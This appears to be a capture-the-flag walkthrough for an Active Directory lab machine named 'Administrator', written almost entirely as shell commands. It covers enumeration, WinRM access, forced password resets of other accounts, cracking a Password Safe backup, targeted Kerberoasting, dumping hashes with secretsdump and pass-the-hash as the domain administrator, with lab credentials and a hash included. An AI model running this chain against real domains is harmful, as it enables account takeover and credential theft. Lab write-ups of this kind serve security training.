# Administrator ### Initial Nmap Enumeration ```bash nmap -p- -sVC 10.129.76.49 ``` ### Get Hostname ```bash nxc smb 10.129.76.49 ``` ### Edit /etc/hosts ```bash cat /etc/hosts ``` ### Save Given Credentials ```bash cat credentials.txt ``` ### SMB & WINRM Login with Credentials ```bash nxc smb 10.129.76.49 -u olivia -p ichliebedich nxc winrm 10.129.76.49 -u olivia -p ichliebedich ``` ### Get WinRM Shell ```bash evil-winrm -i 10.129.76.49 -u olivia -p ichliebedich ``` ### Enumerate Local Users via WinRM ```bash net users ``` ### BloodHound Enumeration
```bash bloodhound-python -c all -d administrator.htb -u olivia -p ichliebedich -ns 10.129.76.49 ``` ### Change Michael Password ```bash net rpc password "michael" "password" -U "administrator.htb"/"olivia"%"ichliebedich" -S "10.129.76.49" ``` ### Change Benjamin Password ```bash net rpc password "benjamin" "password" -U "administrator.htb"/"michael"%"password" -S "10.129.76.49" ``` ### Verify Password Changes ```bash nxc smb 10.129.76.49 -u michael -p password nxc smb 10.129.76.49 -u benjamin -p password ``` ### FTP Login & Retrieve Backup File ```bash ftp 10.129.76.49 get Backup.psafe3 ``` ### Crack psafe3 File ```bash hashcat Backup.psafe3 -m 5200 /usr/share/wordlists/rockyou.txt ``` ### Password Safe
### SMB Login with Emily ```bash nxc smb 10.129.76.49 -u emily -p UXLCI5iETUsIBoFVTj8yQFKoHjXmb ``` ### BloodHound
### Sync Time with DC ```bash sudo ntpdate 10.129.76.49 ``` ### Kerberoast Attack ```bash python3 targetedKerberoast.py -d 'administrator.htb' -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' ``` ### Crack Kerberoast Hash ```bash hashcat hashes.krb /usr/share/wordlists/rockyou.txt ``` ### SMB Login with Ethan ```bash nxc smb 10.129.76.49 -u ethan -p limpbizkit ``` ### Dump Hashes with Secretsdump ```bash secretsdump.py administrator.htb/ethan@10.129.76.49 ``` ### Get Root via Evil-WinRM with Administrator Hash ```bash evil-winrm -i 10.129.76.49 -u administrator -H 3dc553ce4b9fd20bd016e098d2d2fd2e cat C:\users\Administrator\Desktop\root.txt ``` ### Get User Flag ```bash cat C:\users\emily\Desktop\user.txt ```